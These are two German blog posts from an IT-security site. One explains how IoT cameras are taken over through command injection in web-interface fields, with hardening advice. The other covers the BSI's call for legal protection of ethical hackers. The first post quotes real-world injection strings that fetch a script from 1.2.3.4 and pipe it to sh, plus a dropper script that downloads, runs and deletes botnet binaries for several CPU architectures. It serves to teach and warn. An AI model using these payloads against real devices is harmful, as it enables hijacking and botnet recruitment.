Datenhaufen zu IT und Elektronik.

Schlagwort: hacker

IoT-Geräte als Einfallstor: Warum Kameras & Co. häufiger kapert werden, als viele denken

Vielleicht erinnert ihr euch an meine Aussage, dass man jedem Gerät, das man mit dem Internet verbindet, mindestens so viel Vertrauen entgegenbringen sollte wie seiner Haustür. In den letzten Wochen durfte ich das wieder mehrfach sehr anschaulich erklären – direkt anhand realer Beispiele in der IT von Unternehmen oder im privaten Umfeld.

Image of IoT Camera and IT Security

Versteht mich nicht falsch: Es geht mir nicht darum, mich über irgendwen lustig zu machen oder zu behaupten, dass nur Fachleute irgendetwas einrichten dürfen. Wenn jemand ein IoT-Gerät kauft – eine Überwachungskamera, ein Thermometer, eine smarte Steckdose – dann geht diese Person zurecht davon aus, dass es „funktioniert“. Und für viele bedeutet „funktionieren“ automatisch auch: Es ist grundsätzlich sicher.
Leider ist genau das oft nicht der Fall.

IoT in der Praxis: Schnell, günstig – und sicherheitsblind

Viele dieser kleinen Netzwerkgeräte basieren auf irgendeiner Form von Linux. Das ist günstig, flexibel, gut anpassbar – perfekt für Hersteller, die aus Standardmodulen schnell ein neues „Produkt“ zusammensetzen wollen. Die Funktion steht im Vordergrund, denn die sieht der Kunde sofort. Sicherheitsrelevante Details dagegen sieht niemand und sie verzögern die Entwicklung. Also bekommen sie häufig weniger Aufmerksamkeit.

Selbst wenn ein Hersteller alles richtig bedenkt, kann später eine neue Angriffstechnik entstehen, gegen die das Gerät keine Abwehr hat. Dann braucht es ein Firmware-Update. Das kostet Geld, Zeit – und es hilft nur, wenn man es auch einspielt.

„Was soll schon passieren? Es ist doch nur eine Kamera am Mülltonnenplatz …“

Viele denken:
Was soll’s? Wenn jemand sehen kann, wie warm es im Keller ist oder welcher Waschbär die Tonnen plündert – na und?

Das Problem ist nicht der Inhalt der Kamera. Das Problem ist das Gerät selbst.

IoT-Geräte werden extrem häufig missbraucht – und zwar nicht, um euch auszuspionieren, sondern um sie für fremde Zwecke einzuspannen:

  • als Teil eines Botnetzes
  • zum Verteilen von Malware
  • für DDoS-Angriffe
  • zum Minen von Kryptowährungen
  • oder als Einstiegspunkt ins dahinterliegende Netzwerk

Im besten Fall merkt man davon nichts – außer vielleicht einem unerklärlich langsamen Internet.
Im schlechtesten Fall steht plötzlich die Polizei vor der Tür, weil über die eigene IP-Adresse strafbare Downloads verteilt wurden.

Und bevor jemand denkt „Das ist doch konstruiert“: Nein. Das passiert. Dauerhaft. Ich sehe fast täglich Spuren solcher Übernahmen.

Warum diese Geräte so leicht kompromittierbar sind

Bei manchen Geräten ist ein Login – falls überhaupt vorhanden – kaum mehr als ein wackliges Gartentor im Nirgendwo. Default-Passwörter, Basic-Auth ohne HTTPS, unsichere Dienste, schlechte Update-Strategien.

Screenshot of an compromised asus cctv ip camera iot

Ein Klassiker: nicht korrekt geprüfte Eingabefelder.
Viele Web-Interfaces akzeptieren blind alles, was man eingibt – und führen es sogar direkt als Teil eines Shell-Befehls aus.

Beispiel aus einer realen IoT-Kamera-Firmware:

ddns_DyndnsDynamic_hostname='$(wget http://1.2.3.4/x/vivo -O-|sh)'

oder

$(wget http://1.2.3.4/ipcam.zavio.sh -O- | sh)
$(wget http://1.2.3.4/zavio -O- | sh)
$(wget http://1.2.3.4/router.zyxel.sh -O- | sh)
$(wget http://1.2.3.4/router.raisecom.sh -O- | sh)
$(wget http://1.2.3.4/router.draytek.sh -O- | sh)
$(wget http://1.2.3.4/nas.dlink.sh -O- | sh)
$(wget http://1.2.3.4/router.aitemi.sh -O- | sh)
$(wget http://1.2.3.4/ipcam.tplink.sh -O- | sh)
$(wget http://1.2.3.4/router.netgear.sh -O- | sh)
$(wget http://1.2.3.4/dvr.tbk.sh -O- | sh)
$(wget http://1.2.3.4/router.aitemi.sh -O- | sh)

Die Zugangsdaten, die man in solchen Feldern eintragen „muss“, sind dabei oft schlicht. meow könnte hier wohl ein Verweis auf das, durch das Script, zu installierende kitty Paket sein:

Benutzername: meow
Kennwort: meow

Das Entscheidende ist jedoch die Konstruktion $(…).
Linux interpretiert das nicht als Text, sondern als auszuführendes Kommando – mit den Rechten, mit denen die DynDNS-Funktion läuft. Und das ist bei vielen Geräten immer noch root.

Der eigentliche Befehl ist dann:

wget http://1.2.3.4/vivo -O- | sh
  • wget lädt eine Datei herunter
  • -O- sorgt dafür, dass der Inhalt direkt ausgegeben wird
  • das Pipe-Symbol | übergibt den Inhalt an die Shell sh
  • die Shell führt alles aus, was darin steht

Sprich: Man lädt ein beliebiges Skript aus dem Internet – und führt es sofort mit root-Rechten aus. Ohne Rückfrage. Ohne Sicherheit.

Ein Beispiel für ein solches Script könnte folgendes sein:

cd /tmp || cd /var/tmp || cd /var || cd /mnt || cd /dev || cd /
wget http://1.2.3.4/kitty.x86; chmod 777 kitty.x86; ./kitty.x86 ipcam.zavio; rm kitty.x86
wget http://1.2.3.4/kitty.x86_64; chmod 777 kitty.x86_64; ./kitty.x86_64 ipcam.zavio; rm kitty.x86_64
wget http://1.2.3.4/kitty.arm; chmod 777 kitty.arm; ./kitty.arm ipcam.zavio; rm kitty.arm
wget http://1.2.3.4/kitty.mips; chmod 777 kitty.mips; ./kitty.mips ipcam.zavio; rm kitty.mips
wget http://1.2.3.4/kitty.mipsel; chmod 777 kitty.mipsel; ./kitty.mipsel ipcam.zavio; rm kitty.mipsel
wget http://1.2.3.4/kitty.aarch64; chmod 777 kitty.aarch64; ./kitty.aarch64 ipcam.zavio; rm kitty.aarch64

Und ja: Das existiert genauso in freier Wildbahn.

Wenn ihr so etwas in eurer Konfiguration findet: Uff.

Dann würde ich dem Gerät nicht mal mehr nach einem Reset vertrauen. Denn:

  • Wurde vielleicht eine manipulierte Firmware eingespielt?
  • Wurde der Bootloader verändert?
  • Wird nach jedem Neustart automatisch eine Backdoor geöffnet?
  • Gibt es überhaupt offizielle Firmware-Images zum Neu-Flashen?

Oft lautet die bittere Antwort: Nein.
Und dann bleibt realistisch nur: Gerät entsorgen.

Noch schlimmer: Der Angreifer hat damit meist vollen Zugriff auf das Netzwerk hinter dem Gerät.
Und IoT-Geräte speichern gerne:

  • WLAN-Passwörter
  • NAS-Zugangsdaten
  • SMTP-Accounts
  • API-Tokens
  • Nutzer- und Admin-Zugänge anderer Systeme

Damit kann ein Angreifer richtig Schaden anrichten.

Was also tun?

IoT ist nicht böse – aber oft schlecht gemacht.
Daher ein paar Grundregeln, die wirklich jeder beherzigen sollte:

  • IoT immer in ein eigenes, getrenntes Netz.
  • Kein direkter Zugriff aus dem Internet – nur wenn es wirklich sein muss und dann sauber gesichert.
  • Regelmäßig patchen, prüfen, auditieren.
  • Standardpasswörter sofort ändern.
  • Alle nicht benötigten Dienste deaktivieren.

Das ist nicht theoretisch, nicht konstruiert – das ist Alltag. Ich sehe es fast täglich.

BSI will Straffreiheit: Mehr Rechtssicherheit für ethische Hacker

free ethical hackers

Wir leben in Deutschland ja ein bisschen im „Anzeige-ist-raus“-Land. Das merken auch Security-Researcher und ethische Hacker. Solange man Eigentümer:innen/Betreiber:innen nur auf frei und offen erreichbare Probleme hinweist, ist die Welt halbwegs in Ordnung. Sobald man aber beginnt, Schutzmechanismen zu überwinden oder Anwendungen zu übervorteilen, wird’s schnell juristisch dünn. Genau deshalb melde ich in der Regel nur komplett offen erreichbare Dinge – außer es gibt eine security.txt mit klarer Policy oder ein offenes Bug-Bounty mit Safe-Harbor.

Picture of an useless gate.

Ein „Schutzmechanismus“ kann schon eine simple Basic-Auth sein. Kennt ihr dieses Bild vom Gartentor mitten auf dem Weg? Kein Zaun, keine Mauer, nur ein Tor. Auf dem Weg geht’s nicht weiter – aber einen Schritt nach links über die Wiese, und zack, ums Tor herum. Juristisch blöd: Das Umgehen dieses „Törchens“ kann bereits als Überwinden einer Zugangssicherung gewertet werden. Für die Meldenden kann das zum Problem werden, obwohl sie eigentlich helfen wollen.

Die Konsequenz: Selbst krasse Lücken werden oft gar nicht gemeldet, wenn davor ein Gartentörchen steht. Leute mit schlechten Absichten gehen natürlich einfach drumherum und nutzen die Lücke – anonym und schwer nachverfolgbar. Ergebnis: Probleme bleiben länger offen, statt sie sauber zu fixen.

Das sieht auch das BSI so und fordert schon länger mehr Rechtssicherheit für Security-Forschung. Aktuell gibt es wieder Bewegung: BSI-Präsidentin Claudia Plattner plädiert öffentlich für eine Entkriminalisierung ethischer Hacker – sinngemäß: „Wer uns vor Cyberangriffen schützt, darf dafür nicht bestraft werden.“ Die letzte Bundesregierung hatte sogar schon einen Entwurf zur Anpassung des sogenannten Hackerparagrafen in der Pipeline; die neue Regierung prüft das Thema weiter.

Zur Einordnung, worum es geht:

Strafgesetzbuch (StGB) – § 202a Ausspähen von Daten
(1) Wer unbefugt sich oder einem anderen Zugang zu Daten, die nicht für ihn bestimmt und gegen unberechtigten Zugang besonders gesichert sind, unter Überwindung der Zugangssicherung verschafft, wird mit Freiheitsstrafe bis zu drei Jahren oder mit Geldstrafe bestraft.
(2) Daten im Sinne des Absatzes 1 sind nur solche, die elektronisch, magnetisch oder sonst nicht unmittelbar wahrnehmbar gespeichert sind oder übermittelt werden.

Das Problem ist weniger § 202a an sich als das fehlende Safe-Harbor für verantwortungsvolles Melden (Coordinated/Responsible Disclosure). Wenn schon Basic-Auth oder ein dünnes „Do-not-enter“-Schild als „Zugangssicherung“ zählt, macht das legitime Forschung riskant – und genau das will das BSI ändern. Schutz für die Guten, klare Grenzen gegen echten Missbrauch.

Den aktuellen Überblick fasst Golem gut zusammen; lesenswert:
https://www.golem.de/news/hackerparagraf-bsi-chefin-fordert-straffreiheit-fuer-ethische-hacker-2511-201852.html

Meta: Ja, ich bleibe auch künftig bei meiner Linie: Tests nur im eigenen Lab oder mit expliziter Erlaubnis. Alles andere ist nicht nur unklug, sondern schlicht rechtlich riskant.

Ich bleibe bei meinem Tipp für euch: Veröffentlicht eine security.txt. Solltet ihr mal einen Hinweis bekommen, erinnert euch bitte daran, dass die Person gerade den größten Aufwand und das größte Risiko eingeht, um euch auf ein Problem aufmerksam zu machen. Es wäre viel einfacher, die Lücke für sich auszunutzen, zu verkaufen oder sonst wie zu missbrauchen, als den Schritt nach vorne zu gehen und euch fair zu informieren.

Natürlich meine ich damit nicht die Leute, die erst einmal 5.000 € „Audit-Gebühr“ sehen wollen oder beim ungefragten Pentesting eure komplette IT aus dem Verkehr schießen. Ich meine die Menschen, die euch auf dem REWE-Parkplatz freundlich darauf hinweisen, dass ihr euer Portemonnaie auf dem Autodach liegen gelassen habt.

Bedankt euch einfach. 🙂

© 2025 -=Kernel-Error=-RSS

Theme von Anders NorénHoch ↑